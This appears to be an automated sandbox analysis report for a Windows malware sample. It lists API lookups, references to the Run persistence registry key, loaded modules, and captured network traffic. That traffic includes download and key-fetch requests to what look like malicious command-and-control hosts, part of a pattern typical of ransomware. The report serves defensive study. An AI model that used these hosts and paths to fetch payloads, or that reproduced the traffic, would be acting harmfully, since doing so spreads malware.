IsValidLocaleName (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004284)3d:T653,Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "CreateFile2" (Indicator: "CreateFile"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")3e:T45a,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")3f:T6ab,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")40:T4b6,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")41:T1969,"Software\Microsoft\Windows\CurrentVersion\Run" in Source: 20777-65-00411CD0 "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00004284.00000000.88232.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004284.00000000.88232.00400000.00000040.mdmp "\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00004284.00000000.88232.006D0000.00000004.mdmp "Y\MACHINE\Software\Microsoft\Win" in Source: 00000000-00004284.00000000.88232.04E78000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005728.00000000.80675.00400000.00000040.mdmp 00000000-00005728.00000001.82597.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00005728.00000000.80675.00400000.00000040.mdmp 00000000-00005728.00000001.82597.00400000.00000040.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005728.00000000.80675.00600000.00000004.mdmp 00000000-00005728.00000001.82597.00600000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005728.00000000.80675.00600000.00000004.mdmp 00000000-00005728.00000001.82597.00600000.00000004.mdmp "\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows NT\Rpc" in Source: 00000000-00005728.00000000.80675.00700000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00005728.00000001.82597.00600000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005728.00000001.82597.00600000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\Cryptography\Offload" in Source: 00000000-00005728.00000001.82597.00C50000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Cryptography\Offload" in Source: 00000000-00005728.00000001.82597.00C50000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\C\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Cryptography\Offload" in Source: 00000000-00005728.00000001.82597.00C50000.00000004.mdmp "Y\MACHINE\Software\Microsoft\Cryptography\Offload" in Source: 00000000-00005728.00000001.82597.00C50000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Microsoft\Cryrrog" in Source: 00000000-00005728.00000001.82597.056E8000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\Cryptography\Offloader" in Source: 00000000-00005728.00000001.82597.056E8000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00006344.00000000.78848.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00006344.00000000.78848.00400000.00000040.mdmp "\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\RDPNP\NetworkProvider" in Source: 00000000-00006344.00000000.78848.005C0000.00000004.mdmp42:T2eb9,"Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00004284.00000000.88232.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004284.00000000.88232.00400000.00000040.mdmp "\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00004284.00000000.88232.006D0000.00000004.mdmp "Y\MACHINE\Software\Microsoft\Win" in Source: 00000000-00004284.00000000.88232.04E78000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00004284.00000000.88232.7EEE0000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005728.00000000.80675.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00005728.00000000.80675.00400000.00000040.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005728.00000000.80675.00600000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005728.00000000.80675.00600000.00000004.mdmp "\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows NT\Rpc" in Source: 00000000-00005728.00000000.80675.00700000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00005728.00000000.80675.7E8E0000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005728.00000001.82597.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00005728.00000001.82597.00400000.00000040.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00005728.00000001.82597.00600000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005728.00000001.82597.00600000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005728.00000001.82597.00600000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005728.00000001.82597.00600000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\Cryptography\Offload" in Source: 00000000-00005728.00000001.82597.00C50000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Cryptography\Offload" in Source: 00000000-00005728.00000001.82597.00C50000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\C\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Cryptography\Offload" in Source: 00000000-00005728.00000001.82597.00C50000.00000004.mdmp "Y\MACHINE\Software\Microsoft\Cryptography\Offload" in Source: 00000000-00005728.00000001.82597.00C50000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Microsoft\Cryrrog" in Source: 00000000-00005728.00000001.82597.056E8000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\Cryptography\Offloader" in Source: 00000000-00005728.00000001.82597.056E8000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00005728.00000001.82597.7E8E0000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00006344.00000000.78848.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00006344.00000000.78848.00400000.00000040.mdmp "\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\RDPNP\NetworkProvider" in Source: 00000000-00006344.00000000.78848.005C0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00006344.00000000.78848.005D0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006344.00000000.78848.005D0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006344.00000000.78848.005D0000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00006344.00000000.78848.7EED0000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00006576.00000000.78354.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00006576.00000000.78354.00400000.00000040.mdmp "\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00006576.00000000.78354.00610000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions" in Source: 00000000-00006576.00000000.78354.00614000.00000004.mdmp "Y\MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions" in Source: 00000000-00006576.00000000.78354.00614000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006576.00000000.78354.02980000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1BE1F766-5536-11D1-B72" in Source: 00000000-00006576.00000000.78354.02980000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00006576.00000000.78354.02980000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00006576.00000000.78354.7EBB0000.00000002.mdmp43:T416,"GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: colisumy.com" Response ==> HTTP/1.1 200 OK Date: Wed 31 May 2023 11:25:07 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 Last-Modified: Mon 29 May 2023 15:24:30 GMT ETag: "6d600-5fcd6aee16f1d" Accept-Ranges: bytes Content-Length: 448000 Connection: close Content-Type: application/octet-stream with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F0000000....... "GET /raud/get.php?pid=A03451672593505B6FA78972319413D5&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com" Response ==> HTTP/1.1 200 OK Date: Wed 31 May 2023 11:25:08 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 561 Connection: close Content-Type: text/html; charset=UTF-8 with response body ==>7B227075626C69635F6B6579223A222D2D2D2D2D424547494E26233136303B5055424C494326233136303B4B45592D2D2D2D2D5C5C6E4D494942496A414E4267.......44:T3f4c,"04587099.exe" loaded module "C:\04587099.exe" at 00400000 "04587099.exe" loaded module "%WINDIR%\System32\ntdll.dll" at 2F630000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ntdll.dll" at 77BE0000 "04587099.exe" loaded module "%WINDIR%\System32\wow64.dll" at 61300000 "04587099.exe" loaded module "%WINDIR%\System32\wow64win.dll" at 61280000 "04587099.exe" loaded module "%WINDIR%\System32\user32.dll" at 02B70000 "04587099.exe" loaded module "%WINDIR%\System32\wow64cpu.dll" at 61270000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\kernel32.dll" at 77A20000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\KernelBase.dll" at 74FB0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\apphelp.dll" at 74550000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\gdi32.dll" at 748D0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\gdi32full.dll" at 746E0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\msvcp_win.dll" at 765E0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ucrtbase.dll" at 75D80000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\user32.dll" at 75570000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\win32u.dll" at 77BC0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\imm32.dll" at 74620000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\combase.dll" at 759C0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 75750000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\sspicli.dll" at 74600000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\cryptbase.dll" at 745F0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 779A0000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\sechost.dll" at 75240000 "04587099.exe" loaded module "%WINDIR%\Temp\VxSSL32.dll" at 72C80000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\ws2_32.dll" at 75C10000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\fltLib.dll" at 74330000 "04587099.exe" loaded module "%WINDIR%\Temp\VxOle32.dll" at 72C00000 "04587099.exe" loaded module "%WINDIR%\SysWOW64\advapi32.dll" at 76560000 "04587099.exe" loaded module 